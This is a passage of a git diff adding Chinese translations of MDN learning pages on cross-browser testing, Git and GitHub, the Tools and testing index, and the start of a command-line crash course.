首选项”</em>和"显示开发"菜单,然后选择"开发"&gt;"输入响应式设计模式"来启用。 Chrome 也有类似的功能:设备模式(请参阅<a href="https://developers.google.com/web/tools/chrome-devtools/device-mode/">Simulate Mobile Devices with Device Mode</a>)。</p> + +<p>不过,您经常必须安装某种仿真器。要测试的最常见设备/浏览器如下所示:</p> + +<ul> + <li>用于开发Android应用程序的官方<a href="https://developer.android.com/studio/">Android Studio IDE</a>对于仅测试Google Chrome或旧版Android浏览器上的网站来说有点沉重,但它确实附带了一个强大的<a href="https://developer.android.com/studio/run/emulator.html">emulator</a>。如果你想要更轻巧的东西,<a href="http://leapdroid.com/">LeapDroid</a>是Windows的一个很好的选择,<a href="http://www.andyroid.net/">Andy</a> 是一个合理的选择,可以在Windows和Mac上运行。</li> + <li>Apple提供了一个名为<a href="https://developer.apple.com/library/content/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html">Simulator</a> 的应用程序,它运行在<a href="https://developer.apple.com/xcode/">XCode</a>开发环境之上,并模拟iPad / iPhone / Apple Watch / Apple TV。这包括本机iOS Safari浏览器。不幸的是,这只能在Mac上运行。</li> +</ul> + +<p>您也经常可以为其他移动设备环境找到模拟器,例如:</p> + +<ul> + <li><a href="https://developer.blackberry.com/develop/simulator/">Blackberry</a> (适用于Windows,Mac OSX和Linux的模拟器)。</li> + <li>如果要进行测试,可以单独模拟<a href="https://dev.opera.com/articles/installing-opera-mini-on-your-computer/">Opera Mini</a>。</li> + <li>适用于Windows Mobile操作系统的仿真器:请参阅<a href="https://msdn.microsoft.com/en-us/library/windows/apps/ff402563(v=vs.105).aspx">Windows Phone Emulator for Windows Phone 8</a> 和<a href="https://msdn.microsoft.com/en-us/windows/uwp/debug-test-perf/test-with-the-emulator">Test with the Microsoft Emulator for Windows 10 Mobile</a>(这些仅适用于Windows)。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:许多模拟器实际上需要使用虚拟机(见下文);在这种情况下,通常提供指令,和/或将虚拟机的使用合并到仿真器的安装程序中。</p> +</div> + +<h3 id="虚拟机">虚拟机</h3> + +<p>虚拟机是在台式计算机上运行的应用程序,允许您运行整个操作系统的仿真,每个操作系统都划分在自己的虚拟硬盘驱动器中(通常由主机硬盘上存在的单个大文件表示)。有许多流行的虚拟机应用程序可用,例如<a href="www.parallels.com/">Parallels</a>,<a href="http://www.vmware.com/">VMWare</a>和<a href="https://www.virtualbox.org/wiki/Downloads">Virtual Box</a>;我们个人喜欢后者,因为它是免费的。</p> + +<div class="note"> +<p><strong>注意</strong>:您需要可用的大容量硬盘空间来运行虚拟机模拟;模拟的每个操作系统都会占用大量内存。您可能倾向于为每次安装选择所需的硬盘空间;你也可能会试图侥幸使用10GB空间,但会被建议使用50GB空间或更多,以便让操作系统运行可靠。大多数虚拟机应用程序提供的一个很好的选择是创建一个动态分配(<strong>dynamically allocated)</strong>的硬盘驱动器,它会随着需要的增长和缩小而动态改变。</p> +</div> + +<p>要使用虚拟盒,您需要:</p> + +<ol> + <li>获取要模拟的操作系统的安装程序磁盘或映像(例如ISO文件)。 Virtual Box无法提供这些;大多数,如Windows操作系统,是无法自由分发的商业产品。</li> + <li><a href="https://www.virtualbox.org/wiki/Downloads">下载</a>适用于您的操作系统的相应安装程序并进行安装。</li> + <li>打开应用程序;您将看到如下视图: <img alt="" src="https://mdn.mozillademos.org/files/14089/virtualbox.png" style="display: block; height: 512px; margin: 0px auto; width: 700px;"></li> + <li>要创建新虚拟机,请按左上角的“新建”按钮。</li> + <li>按照说明进行操作,并根据需要填写以下对话框。你会: + <ol> + <li>为新虚拟机提供名称</li> + <li>选择要在其上安装的操作系统和版本</li> + <li>设置应分配多少RAM(我们建议使用2048MB或2GB)</li> + <li>创建虚拟硬盘(在包含立即创建虚拟硬盘,VDI(虚拟磁盘映像)和动态分配的三个对话框中选择默认选项)。</li> + <li>选择虚拟硬盘的文件位置和大小(选择一个合理的名称和位置来保留它,并且大小指定大约50GB,或者您可以轻松指定)。</li> + </ol> + </li> +</ol> + +<p>现在,新的虚拟框应出现在Virtual Box UI主窗口的左侧菜单中。此时,您可以双击它以打开虚拟机––它将开始启动虚拟机,但它还没有安装操作系统。此时,您需要将对话框指向安装程序映像/磁盘,它将运行在虚拟机上安装它的步骤,就像它是真正的计算机一样。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14085/virtualbox-installer.png" style="display: block; margin: 0 auto;"></p> + +<div class="warning"> +<p><strong>重要提示</strong>:您需要确保此时要在虚拟机上安装要安装的操作系统映像,然后立即安装。如果此时取消该进程,它可能会使虚拟机无法使用,并使其成为您需要删除它并再次创建它。这不是致命的,但令人讨厌。</p> +</div> + +<p>完成此过程后,您应该有一台虚拟机在主机窗口内运行操作系统。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14087/virtualbox-running.png" style="display: block; margin: 0 auto;"></p> + +<p>您需要像处理任何实际安装一样处理此虚拟操作系统安装 - 例如,安装要测试的浏览器,安装防病毒程序以保护其免受病毒侵害。</p> + +<p>拥有多个虚拟机非常有用,特别是对于Windows IE / Edge测试 - 在Windows上,您无法并排安装多个版本的默认浏览器,因此您可能需要构建一个虚拟机库来处理根据需要进行不同测试,例如:</p> + +<ul> + <li>Windows 10 with Edge 14</li> + <li>Windows 10 with Edge 13</li> + <li>Windows 8.1 with IE11</li> + <li>Windows 8 with IE10</li> + <li>Windows 7 with IE9</li> + <li>Windows XP with IE8</li> + <li>Windows XP with IE7</li> + <li>Windows XP with IE6</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:虚拟机的另一个好处是虚拟磁盘映像是相当独立的。如果您正在团队中工作,则可以创建一个虚拟磁盘映像,然后复制并传递它。如果它是许可产品,只需确保您拥有运行所有Windows副本或正在运行的任何其他副本所需的许可证。</p> +</div> + +<h3 id="自动化和商业应用">自动化和商业应用</h3> + +<p>正如上一章所述,通过使用某种自动化系统,您可以从浏览器测试中减少很多痛苦。您可以设置自己的测试自动化系统(<a href="http://www.seleniumhq.org/">Selenium</a>是首选的流行应用程序),它确实需要一些设置,但是当您解决问题时可能会相当受益。</p> + +<p>还有一些商业工具,如<a href="https://saucelabs.com/">Sauce Labs</a>和<a href="https://www.browserstack.com/">Browser Stack</a>,可以为您做这种事情,如果您愿意在测试中投入一些资金,则无需担心设置的问题。</p> + +<p>我们将在后续文章中查看如何使用此类工具。</p> + +<h2 id="用户测试">用户测试</h2> + +<p>在我们继续之前,我们将通过谈论用户测试来完成本文––如果您有一个愿意用户组来测试您的新功能,这可能是一个很好的选择。请记住,这可以像你希望的那样廉价又有效––你的用户群可以是一群朋友,一群同事,或一群无偿或有偿志愿者,这取决于你是否有钱花在测试上。</p> + +<p>通常,您可以让用户在某种开发服务器上查看包含新功能的页面或视图,这样您就不会在完成之前放置最终站点或更改。你应该让他们按照一些步骤报告他们得到的结果。提供一组步骤(有时称为脚本)非常有用,这样您就可以获得与您尝试测试的内容相关的更可靠的结果。我们在上面的{{anch("What are you going to test")}} 部分中提到了这一点––很容易将其中详述的测试标准转换为要遵循的步骤。例如,以下内容适用于有视力的用户:</p> + +<ul> + <li>在台式计算机上使用鼠标单击问号按钮几次。刷新浏览器窗口。</li> + <li>使用台式计算机上的键盘选择并激活问号按钮几次。</li> + <li>在触摸屏设备上点击几次问号按钮。</li> + <li>切换按钮应使信息框显示/消失。在上述三种情况中,是否都这样做?</li> + <li>文字可读吗?</li> + <li>信息框在出现/消失时是否能够流畅地生成动画?</li> +</ul> + +<p>运行测试时,最好还是:</p> + +<ul> + <li>尽可能设置单独的浏览器配置文件,禁用浏览器扩展和其他此类操作,并在该配置文件中运行测试(例如,请参阅<a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">Use the Profile Manager to create and remove Firefox profiles</a>和<a href="https://support.google.com/chrome/answer/2364824">Share Chrome with others or add personas</a>)</li> + <li>在可用的情况下运行测试时使用浏览器的私有模式功能(例如,Firefox中的<a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">Private Browsing</a>,Chrome中的<a href="https://support.google.com/chrome/answer/95464">Incognito Mode</a>),因此不会保存cookie和临时文件等内容。</li> +</ul> + +<p>这些步骤旨在确保您正在测试的浏览器尽可能“纯粹(pure)”,即没有安装任何可能影响测试结果的内容。</p> + +<div class="note"> +<p><strong>注意</strong>:如果您有可用的硬件,另一个有用的低功耗选项是在低端手机/其他设备上测试您的网站 - 随着网站变得更大并且具有更多效果,网站放慢速度的可能性更高,因此您需要开始给予表现更多考虑。尝试在低端设备上运行您的功能将使更高端设备的体验更有可能。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>:某些服务器端开发环境提供了有用的机制,可以将站点更改部署到仅部分用户,从而提供了一种有用的机制,可以在不需要单独的开发服务器的情况下获取由用户子集测试的功能。示例:<a href="https://github.com/jsocol/django-waffle">Django Waffle Flags</a>。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>阅读本文后,您现在应该知道如何识别目标受众/目标浏览器列表,然后在该列表上有效地执行跨浏览器测试。</p> + +<p>接下来,我们将把注意力转向测试可能发现的实际代码问题,从HTML和CSS开始。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + + + +<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>本章内容</strong></span></font></p> + +<p> + </p><ul> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试简介</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">进行测试的策略</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">处理常见的HTML和CSS问题</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">处理常见的JavaScript问题</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">处理常见的辅助功能问题</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">执行特性检测</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">自动化测试简介</a></li> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">搭建你自己的自动化测试环境</a></li> + </ul> diff --git a/files/zh-cn/learn/tools_and_testing/github/index.html b/files/zh-cn/learn/tools_and_testing/github/index.html new file mode 100644 index 0000000000..e7285a7a92 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/github/index.html @@ -0,0 +1,78 @@ +--- +title: Git 和 GitHub +slug: Learn/Tools_and_testing/GitHub +translation_of: Learn/Tools_and_testing/GitHub +--- +<div>{{LearnSidebar}}{{draft}}</div> + +<p class="summary">所有开发者都将使用到<strong>版本控制系统</strong> (<strong> V</strong>ersion <strong>C</strong>ontrol <strong>S</strong>ystem, 简称<strong> VCS</strong> ), 这种工具让他们在分工合作时避免了不必要的重复与冲突,如果遇到什么问题,也可以及时回退到之前的版本。当今最流行的<strong>版本控制系统</strong>(至少在网络开发者中是这样的)是<strong> Git</strong>,和与之关联的编程社区网站<strong> GitHub</strong> 。这篇短文将带你简单地了解他们。</p> + +<h2 id="主要介绍"><strong>主要介绍</strong></h2> + +<p>版本控制系统在软件开发过程中是必不可少的:</p> + +<ul> + <li>我们很少独自完成一个项目,而在分工合作的同时我们都会有与他人的工作相冲突的风险:尤其是当两个人同时尝试修改同一段代码的时候。所以我们需要有相应的机制用以避免这种情况。</li> + <li>在开发一个项目的时候,我们希望能将代码及时保存,这样就可以避免像电脑突然崩溃辛苦全部白费这样的尴尬局面。</li> + <li>如果后期发现了问题,我们可能还会需要退回更早的版本。有的小朋友也许想到可以通过创建一堆 <code>myCode.js</code>, <code>myCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>myCode_really_really_final.js</code> 之类的文件用于保存历史版本,但这个方法不妥,容易出错。</li> + <li>不同的团队成员也会需要创建他们自己的独特的版本(在Git中叫做<strong>branches</strong> (分支)),他们在这里添加一些新的功能特性,然后通过一些可控的方法(在 GitHub 中我们使用 <strong>pull request</strong> (拉取请求))将它们贡献到原来的主干项目中。</li> +</ul> + +<p>版本控制系统提供了能够满足以上需求的工具。<a href="https://git-scm.com/">Git</a> 是版本控制系统的典范,而 <a href="https://github.com/">GitHub</a> 是一个为个人或团队操作 Git 储存库 ( Git Repositories) 提供了 Git 服务器和一系列非常实用的工具的网站+基础设施。它提供了报告代码错误、检查工具以及分配任务和任务状态等项目管理工具等等。</p> + +<div class="blockIndicator note"> +<p><strong>温馨提示</strong>: Git 实际上是一个分散式的版本控制系统,这意味你和其他所有人的电脑上都可以有一个这个复制了这个项目所有源代码的储存库的副本。你在自己的副本上进行了修改,然后提交给服务器,在那里将由这个项目的管理者来决定是否将你的修改添加到主本中。</p> +</div> + +<h2 id="事先准备">事先准备</h2> + +<p>为了使用 Git 和 GitHub,你首先需要:</p> + +<ul> + <li>安装了 Git 的台式电脑(详见 <a href="https://git-scm.com/downloads">Git 下载网址</a>)。</li> + <li>用于使用 Git 的工具。你可以使用一个 <a href="https://git-scm.com/downloads/guis/">Git 图形操作界面客户端</a> (我们推荐 GitHub Desktop 、 Source Tree 或者 Git Kraken)或者也可以直接使用命令行,这取决于你的喜好。事实上,尽管你打算使用图形界面进行操作,了解一些基本的 Git 命令行指令也或许会比较有用。</li> + <li><a href="https://github.com/join">GitHub 账户</a>。如果还没有的话,现在就通过这个链接去注册一个吧!</li> +</ul> + +<p>在此之前你并不一定要有关于网络开发、Git 和 GitHub 或者版本控制系统的任何知识。但是最好还是能有一点基础的计算机使用技能并且懂一点编程,以及有一些可以存放进储存库的代码。</p> + +<p>建议你最好还能够有一些基础的命令行终端的知识,例如:切换目录、新建文件以及修改系统路径(<code>PATH</code>)。</p> + +<div class="blockIndicator note"> +<p><strong>温馨提示: </strong>Github 并不是使用 Git 的唯一途径。还有很多像 <a href="https://about.gitlab.com/">GitLab </a>这样的选择值得你去尝试。你也可以尝试着去构建你自己的 Git 服务器来代替 Github 的功能。在这里我们只是将 Github 作为一种可行的途径进行介绍。</p> +</div> + +<h2 id="带你入门">带你入门</h2> + +<p>先提醒一下这些链接将会带你去访问一些外部资源。我们最终将致力于开发我们专属的 Git 和 GitHub 教程,但现在,这些资料将会带你轻松入门。</p> + +<dl> + <dt><a href="https://guides.github.com/activities/hello-world/">Hello World【 欢迎来到新世界】 (来自 GitHub)</a></dt> + <dd>这里是开始使用 GitHub 的正大门,在这里你可以学到 Git 的基础操作,例如:创建<strong>储存库 (Repository) </strong>和<strong>分支 (Brunch) </strong>、<strong>确认提交 (commit)</strong> 以及打开和合并<strong>拉取请求</strong> (open/merge <strong>Pull Request</strong>)。</dd> + <dt><a href="https://guides.github.com/introduction/git-handbook/">Git Handbook 【使用手册】 (来自 GitHub)</a></dt> + <dd>这个 Git 使用手册就稍微更深入一点了,它解释了什么是<strong>版本控制系统</strong>、什么是<strong>储存库</strong> <strong>(Repository) </strong>、<strong> GitHub 模型</strong>如何运行、 <strong>Git 指令</strong>和示例等。</dd> + <dt><a href="https://guides.github.com/activities/forking/">Forking Projects 【复刻项目】 (来自 GitHub)</a></dt> + <dd>当你想要对别人的代码做出贡献时,<strong>复刻</strong>(<strong>fork</strong>,即服务端代码仓库复制)是必不可少的步骤。这个链接将告诉你如何操作。</dd> + <dt><a href="https://help.github.com/en/articles/about-pull-requests">About Pull Requests 【关于拉取请求】 (来自 GitHub)</a></dt> + <dd>这是一个管理拉取请求的有用的指南:你所修改的代码需要通过拉取请求来让项目的管理者决定是否采纳。</dd> + <dt><a href="https://guides.github.com/features/issues/">Mastering issues 【处理问题】 (来自 GitHub)</a></dt> + <dd><strong>问题区</strong> (<strong>Issues</strong>) 就像是一个关于你这个 GitHub 项目的论坛,在这里人们可以提问题和报告错误,你可以管理更新(例如给人们分配需要解决的问题、澄清问题以及告知问题已经解决)。这篇文章会让你知道所需要的一些关于问题区的知识。</dd> +</dl> + +<div class="blockIndicator note"> +<p><strong>温馨提示:</strong> 在 Git 和 GitHub 上面你还可以做一大堆事情,但我们认为,如果你想要有效地使用 Git ,上面的这些知识是至少应该具备的。当你更深入地了解 Git 时,你将会意识到,当你开始使用更加复杂的指令时会更容易出错。但不要担心,即使是专业的网络工程师有时都会感到困惑,并通过网络检索或 <a href="https://github.com/k88hudson/git-flight-rules">Flight rules for Git</a> 和<a href="https://dangitgit.com/"> Dangit, git!</a> 这样的网站来寻找答案。</p> +</div> + +<h2 id="还可以看看">还可以看看</h2> + +<ul> + <li><a href="https://guides.github.com/introduction/flow/">Understanding the GitHub flow 【理解 GitHub 流程】</a></li> + <li><a href="https://git-scm.com/docs">Git command list 【指令列表】</a></li> + <li><a href="https://guides.github.com/features/mastering-markdown/">Mastering markdown 【掌握 Markdown 格式】</a> (在网页上、评论区常用的格式以及 <code>.md</code> 文件所使用的格式,GitHub 中的介绍文件 (readme.md) 即用这种格式书写)。</li> + <li><a href="https://guides.github.com/features/pages/">Getting Started with GitHub Pages 【入门 Github 页面】</a> (如何在 GitHub 上发布示例和网站)。</li> + <li><a href="https://learngitbranching.js.org/">Learn Git branching 【学习 Git 的分支结构】</a></li> + <li><a href="https://github.com/k88hudson/git-flight-rules">Flight rules for Git 【Git 中的飞行法则】</a> ( 在Git中实现特定功能的非常有用的方法介绍纲要,包括如何在出错时纠错等)。</li> + <li> + <p><a href="https://dangitgit.com/">Dangit, git! 【#网络和谐#,Git !】</a>(另一个十分有用的方法介绍纲要,特别是在出错的时候进行纠正的方法)。</p> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/index.html b/files/zh-cn/learn/tools_and_testing/index.html new file mode 100644 index 0000000000..064d064027 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/index.html @@ -0,0 +1,39 @@ +--- +title: 工具和测试 +slug: Learn/Tools_and_testing +tags: + - CSS + - HTML + - JavaScript + - 工具 + - 测试 + - 自动化 + - 跨浏览器 +translation_of: Learn/Tools_and_testing +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">一旦你开始使用web的核心技术(如HTML,CSS和Javascript)进行编程,并且开始获得更多的体验,读更多的资料,学习更多的提示和技巧,你就会遇到各种工具,从优化的CSS和Javascript到测试和自动化应用,再到其他更多的领域。当你的web项目变得更大更复杂,如果你希望利用一些工具为你的代码做出可靠的测试计划。本节教程旨在帮助你开始并做出明智的选择。</p> + +<p>web行业是个让人兴奋的地方,但它也有并发症。现在我们用来构建网站的核心技术是相当稳定的,但是新的特性一直不断地加进来,还有建立在这些技术之上的能够方便我们工作的新的工具,都在不断出现。在此之前,我们仍然需要保持前台的跨浏览器支持,并且保证我们的代码遵循最佳实践以允许我们的项目可以工作在不同的浏览器和设备上,让我们的用户能够正常浏览我们的网页,还要保证对残障人士可用。</p> + +<p>找出你应该用什么样的工具是个困难的过程,所以我们这系列文章来告诉你哪些工具是可用的,它们能为你做什么,和如何利用行业的热门工具。</p> + +<div class="note"> +<p><strong>提示</strong>: 因为一直以来都是新的工具出现伴随着旧的工具过时,所以我们有意将材料写得尽可能地中立—我们想优先关注那些能够帮你完成通用类型任务的工具,而不是一些特殊工具。我们显然需要展示某些工具的用途来演示特殊的技术,但是要清楚我们并不是把它们作为最好的或者唯一的工具进行推荐—大多数情况下有很多其他的方式可以备选,我们只是想提供给你一个清晰的可用的方法。</p> +</div> + +<h2 id="学习途径">学习途径</h2> + +<p>尝试详细地使用这些工具之前,你首先应该学习 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>,和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 的基础知识。 比如,在你开始调试复杂web代码之前,你需要知道这些语言的基础知识,或者能有效地使用Javascript库,或者能够使用测试工具为你的代码编写和运行测试等等。</p> + +<p>首先你需要一个扎实的基础。</p> + +<h2 id="模块">模块</h2> + +<dl> + <dt>真实世界web开发工具(TBD)</dt> + <dd>在这个模块中,我们探索各种可用的web开发工具。这包括审查你不得不解决的最基本的任务,如何让它们在一个工作流中协调配合以及目前能够完成这些任务的最好的工具。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">跨浏览器测试</a></dt> + <dd>这个模块在测试web项目跨不同浏览器的领域看起来很特别。我们要识别你的目标受众(比如,你最担心的是哪些用户、浏览器和设备?),如何做测试,主要的问题是你将面临不同类型的代码和如何修复它们,有什么有用的工具能够帮助你测试和修复问题,如何通过自动化来增加测试效率。</dd> +</dl> diff --git a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html new file mode 100644 index 0000000000..ce0d00fee7 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html @@ -0,0 +1,1096 @@ +--- +title: Command line crash course +slug: Learn/Tools_and_testing/Understanding_client-side_tools/Command_line +tags: + - CLI + - npm + - 命令行 + - 学习 + - 客户端 + - 工具 + - 开发者 + - 终端 +translation_of: Learn/Tools_and_testing/Understanding_client-side_tools/Command_line +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}</div> + +<p class="summary">在您的开发过程中,您无疑需要在终端上运行一些命令(或者在“命令行”上,它们实际上是相同的)。本文介绍了终端、需要输入的基本命令、如何将命令链接在一起,以及如何添加自己的命令行接口(CLI)工具。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>熟悉核心的 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>要了解什么是终端/命令行,应该学习什么基本命令,以及如何安装新的命令行工具。</td> + </tr> + </tbody> +</table> + +<h2 id="欢迎使用终端">欢迎使用终端</h2> + +<p>终端是一个文本界面,用于执行基于文本的程序。如果您正在运行任何用于web开发的工具,那么几乎可以保证您必须打开命令行并运行一些命令来使用您所选择的工具(您经常会看到这样的工具被称为<strong>CLI工具</strong>命令行接口工具)。</p> + +<p>大量的工具可以通过在命令行中输入命令来使用;许多是预先安装在您的系统上的,还有大量其他的可以从包注册表中安装。包注册表类似于应用程序商店,但(主要)用于基于命令行的工具和软件。我们将在本章后面看到如何安装一些工具,在下一章我们将学习更多关于包注册表的知识。</p> + +<section id="sect1"> +<article> +<section id="sect2"> +<p>对命令行最大的一个批评是它在用户体验方面非常缺乏。第一次查看命令行可能是一种令人畏惧的体验:空白屏幕和闪烁的光标,对于要做什么几乎没有明显的帮助。</p> +</section> +</article> +</section> + +<section id="sect3"> +<article> +<section id="sect4"> +<p>表面上看,它们并不受欢迎,但您可以使用它们做很多事情,我们保证,通过一些指导和练习,使用它们会变得更容易!这就是为什么我们提供这一章来帮助你在这个看似不友好的环境中开始。</p> +</section> +</article> +</section> + +<h3 id="终端从何而来?">终端从何而来?</h3> + +<section id="sect5"> +<article> +<section id="sect6"> +<p>终端机起源于20世纪五六十年代,它最初的形式与我们今天使用的并不相似(这是我们应该感谢的)。你可以在维基百科的词条中读到一些历史 <a href="https://en.wikipedia.org/wiki/Computer_terminal">Computer Terminal</a>。</p> +</section> +</article> +</section> + +<section id="sect7"> +<article> +<section id="sect8"> +<p>从那时起,终端一直是所有操作系统的一个不变的特征,从台式电脑到隐藏在云中的服务器(它并不是真正的云),到像树莓PI Zero这样的微型计算机,甚至到移动电话。它提供了对计算机底层文件系统和底层特性的直接访问,因此,如果您知道自己在做什么,它对于快速执行复杂任务非常有用。</p> +</section> +</article> +</section> + +<section id="sect9"> +<article> +<section id="sect10"> +<p>例如,编写一个命令来立即更新数百个文件的标题,例如从ch01-xxxx.png更新到ch02-xxxx.png,这对于自动化也很有用。如果您使用finder或explorer GUI应用程序更新文件名,这将花费您很长时间。</p> +</section> +</article> +</section> + +<p>总而言之,终端不会很快消失。</p> + +<h3 id="终端像什么呢?">终端像什么呢?</h3> + +<section id="sect11"> +<article> +<section id="sect12"> +<p>下面你可以看到一些不同口味的程序,你可以得到一个终端。</p> +</section> +</article> +</section> + +<section id="sect13"> +<article> +<section id="sect14"> +<p>下面的图片显示了Windows中可用的命令提示,有很多种选项,从“cmd”程序到“powershell”,可以在开始菜单中输入程序名称运行。</p> +</section> +</article> +</section> + +<p><img alt="A vanilla windows cmd line window, and a windows powershell window" src="https://mdn.mozillademos.org/files/17183/win-terminals.png" style="border-style: solid; border-width: 1px; display: block; height: 261px; margin: 0px auto; width: 900px;"></p> + +<section id="sect15"> +<article> +<section id="sect16"> +<p>下面是macOS终端应用程序。</p> +</section> +</article> +</section> + +<p><img alt="A basic vanilla mac terminal" src="https://mdn.mozillademos.org/files/17180/mac-terminal.png" style="display: block; height: 223px; margin: 0px auto; width: 500px;"></p> + +<h3 id="你如何进入终端?">你如何进入终端?</h3> + +<p>现在许多开发人员都在使用基于unix的工具(例如,终端,以及你可以通过它访问的工具)。目前web上存在的许多教程和工具都支持(可悲的是假定)基于unix的系统,但不用担心它们在大多数系统上都可用。在本节中,我们将了解如何访问所选系统上的终端。</p> + +<h4 id="LinuxUnix">Linux/Unix</h4> + +<p>如上所述,Linux / Unix系统默认情况下在应用程序中列出了一个可用的终端。</p> + +<h4 id="macOS">macOS</h4> + +<section id="sect17"> +<article> +<section id="sect18"> +<p>macOS有一个名为Darwin的系统,它位于图形用户界面的下方。Darwin是类unix系统,它提供了终端和对底层工具的访问。macOS Darwin在很大程度上与Unix不相上下,当然在阅读本文时不会给我们带来任何担忧。</p> +</section> +</article> +</section> + +<section id="sect19"><span>终端可在macOS的“应用程序/实用程序/终端”上使用。</span></section> + +<h4 id="Windows">Windows</h4> + +<section id="sect20"> +<article> +<section id="sect21"> +<p>与其他一些编程工具一样,在Windows上使用终端(或命令行)传统上并不像在其他操作系统上那样简单。但情况正在好转。</p> +</section> +</article> +</section> + +<section id="sect22"> +<article> +<section id="sect23"> +<p>很长一段时间以来,Windows一直有自己的名为cmd(命令提示符)的类似于终端的程序,但这显然与Unix命令不同,它相当于老式的Windows DOS提示符。</p> +</section> +</article> +</section> + +<section id="sect24"> +<article> +<section id="sect25"> +<p>更好的程序可以在Windows上提供终端体验,比如Powershell (<a href="https://github.com/PowerShell/PowerShell">see here to find installers</a>), 和 Gitbash (作为一部分 <a href="https://gitforwindows.org/">git for Windows</a> 工具箱)</p> +</section> +</article> +</section> + +<section id="sect26"> +<article> +<section id="sect27"> +<p>然而,在现代,Windows的最佳选择是Windows Linux子系统(WSL),它是一个兼容层,用于从Windows 10中直接运行Linux操作系统,允许您直接在Windows上运行真正的终端,而不需要虚拟机。</p> +</section> +</article> +</section> + +<section id="sect28"> +<article> +<section id="sect29"> +<p>这可以直接从Windows商店免费安装。在目录中可以找到所需的所有文档 <a href="https://docs.microsoft.com/en-us/windows/wsl">Windows Subsystem for Linux Documentation</a>.</p> +</section> +</article> +</section> + +<p><img alt="a screenshot of the windows subsystem for linux documentation" src="https://mdn.mozillademos.org/files/17184/wsl.png" style="border-style: solid; border-width: 1px; display: block; height: 665px; margin: 0px auto; width: 1000px;"></p> + +<section id="sect30"> +<article> +<section id="sect31"> +<p>至于在Windows上选择什么选项,我们强烈建议尝试安装WSL。您可以坚持使用默认的命令提示符(cmd),许多工具都可以正常工作,但是您会发现,如果与Unix工具具有更好的一致性,那么一切都会变得更容易。</p> +</section> +</article> +</section> + +<h4 id="边注:命令行和终端的区别是什么?">边注:命令行和终端的区别是什么?</h4> + +<section id="sect32"> +<article> +<section id="sect33"> +<p>通常你会发现这两个术语可以互换使用。从技术上讲,终端是启动并连接到shell的软件。shell是您的会话和会话环境(提示符和快捷方式等内容可以在其中定制)。命令行是您输入命令并且光标闪烁的文字行。</p> +</section> +</article> +</section> + +<h3 id="你必须使用终端吗">你<em>必须</em>使用终端吗</h3> + +<section id="sect34"> +<article> +<section id="sect35"> +<p>尽管命令行提供了大量的工具,但是如果您使用的工具是这样像 <a href="https://code.visualstudio.com/">Visual Studio Code</a></p> + +<section id="sect36"> +<article> +<section id="sect37"> +<p>还有大量的扩展可以作为代理使用终端命令,而不需要直接使用终端。但是,您不会找到一个代码编辑器扩展来满足您想要做的所有事情 — 你最终将会获得一些使用终端的经验。</p> +</section> +</article> +</section> +</section> +</article> +</section> + +<h2 id="基本的内置终端命令">基本的内置终端命令</h2> + +<section id="sect38"> +<article> +<section id="sect39"> +<article> +<section id="sect40"> +<p>说的够多了,让我们开始看看一些终端命令吧!下面是命令行可以做的一些事情,以及每种情况下相关工具的名称</p> +</section> +</article> +</section> +</article> +</section> + +<ul> + <li> + <section id="sect41"> + <article> + <section id="sect42"> + <p>导航计算机的文件系统以及基本级别的任务,如创建、复制、重命名和删除:</p> + </section> + </article> + </section> + + <ul> + <li> + <section id="sect43"> + <article> + <section id="sect44"> + <p>移动您的目录结构 :<span> </span><code>cd</code></p> + </section> + </article> + </section> + </li> + <li>建立目录: <code>mkdir</code></li> + <li>创建文件(修改他们的原数据): <code>touch</code></li> + <li>复制文件: <code>cp</code></li> + <li>移动文件: <code>mv</code></li> + <li>删除文件或目录: <code>rm</code></li> + </ul> + </li> + 